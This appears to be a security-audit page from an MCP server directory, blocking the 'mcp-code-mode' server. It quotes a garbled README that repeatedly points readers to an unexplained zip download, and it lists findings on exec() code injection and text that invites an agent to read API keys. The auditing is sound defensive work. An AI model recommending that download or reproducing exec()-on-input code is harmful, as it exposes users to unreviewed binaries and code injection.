Atlas / MCP servers / jame0077 / mcp-code-mode

mcp-code-modeBLOCK

mcp/jame0077/mcp-code-mode

🤖 Enable AI code generation using the Code Execution MCP Server, integrating large language models with the Model Context Protocol for seamless tool use.

Verdict
BLOCK
Grade
D
Trust score
69 /100
Exposed tools
5 2r · 3w · 0d
Transport
stdio
License
—
Stars
1
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

🌐 Download the Latest Version

[](https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip)

🚀 Getting Started

Welcome to the MCP Code Mode project! This application allows you to execute Python code safely while leveraging the power of AI. Follow the steps below to download and run the application.

1. 💻 Installation

To get started, you’ll need to set up your environment. This application requires Python 3.11 or higher and https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip 20 or higher.

Step-by-Step Installation:

  1. Create a Virtual Environment:

Open your terminal and run:

python3.11 -m venv .venv
source .venv/bin/activate
  1. Install Required Python Packages:

Next, use this command to install the necessary dependencies:

pip install -e .[dev]
  1. Install https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip Dependencies:

To ensure you have the latest packages for reference servers, run:

npm install -g npm@latest

2. 🛠️ Configuration

Now that you have installed the application, it’s time to configure it.

Copy the Example Environment Settings:

To get started quickly, duplicate the example environment file:

cp https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip .env

Configure Your MCP Servers:

Edit the https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip file. You will need to specify your MCP servers. Here’s an example of what it might look like:

{
"servers": {
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/your-working-folder"],
"des
Read from source at commit 3bac40412549OBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add mcp-code-mode --env GEMINI_API_KEY=${GEMINI_API_KEY} --env OPENAI_API_KEY=${OPENAI_API_KEY} -- uvx mcp-code-mode
claude-desktop
{
  "mcpServers": {
    "mcp-code-mode": {
      "command": "uvx",
      "args": [
        "mcp-code-mode"
      ],
      "env": {
        "GEMINI_API_KEY": "${GEMINI_API_KEY}",
        "OPENAI_API_KEY": "${OPENAI_API_KEY}"
      }
    }
  }
}
03

Exposed tools (5)

2 read · 3 write · 0 destructive.

ToolRiskDescription
echoreadEcho a message back to the caller.
execute_codewriteExecute Python code inside DSpy
read_filereadRead the contents of a file
run_agentwrite
write_filewriteWrite content to a file
04

Trust audit

BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (1 observation(s))
Network
declared (1 observation(s))
Shell
declared (2 observation(s))
Dependencies
not all pinned
Secrets in source
none-found

Findings (10)

HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
src/mcp_code_mode/agent.py:279
"    exec(code, globals(), locals())\n"
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
src/mcp_code_mode/executor.py:293
exec(code, env, env)
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
MEDIUMInventory / provenance · inv.binary · CWE-1104
src/code-mcp-mode-2.1.zip
code-mcp-mode-2.1.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
src/mcp_code_mode/tool_bridge.py:58
self._base_url = f"http://127.0.0.1:{port}/call"
LOWInventory / provenance · inv.no_license · CWE-1104
Why it matters. no LICENSE file and no repo licence
Fix. add a licence
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/test_agent.py:64
return {"endpoint": "http://127.0.0.1:9999/call", "token": token}
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
requirements-dev.txt
pytest, pytest-asyncio, pytest-cov, black, ruff, mypy
Why it matters. 6 requirement(s) not pinned with ==
Fix. pin exact versions
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
requirements.txt
aiohttp, dspy-ai, fastmcp, google-generativeai, httpx, mcp, gradio, openai
Why it matters. 9 requirement(s) not pinned with ==
Fix. pin exact versions
INFOInventory / provenance · inv.oversize · CWE-1104
.kilocode/mcp-code-mode_3.8-alpha.4.zip
.kilocode/mcp-code-mode_3.8-alpha.4.zip
Why it matters. 1395127 bytes not read
INFOPrompt injection · prompt.credential_read · CWE-94, CWE-1427
plan.md:20
- In a **Hugging Face Space**, this tool will have access to the container's file system and environment variables (including your API keys).
Why it matters. asks the agent to read credentials

Gates applied: no_behavioural_pass, no_license.

Audited 2026-10-11 · audit v0.4.1 · source sha 3bac40412549full audit observations/trust-audit/mcp-server/jame0077__mcp-code-mode.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-113bac40412549BLOCKD69first audit
06

Questions

What is the mcp-code-mode MCP server?

🤖 Enable AI code generation using the Code Execution MCP Server, integrating large language models with the Model Context Protocol for seamless tool use.

What tools does mcp-code-mode expose?

5 in total: 2 read-only, 3 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is mcp-code-mode safe to connect to an agent?

No — not without reading the findings first. The audit graded it D (69/100) and found 2 critical or high issues in the source. Each one is listed on this page with the file and line it is on.

What credentials does mcp-code-mode need?

It reads GEMINI_API_KEY and OPENAI_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does mcp-code-mode run?

It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as mcp-code-mode.

How current is this page?

The grade is for one exact copy of the source (3bac40412549), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement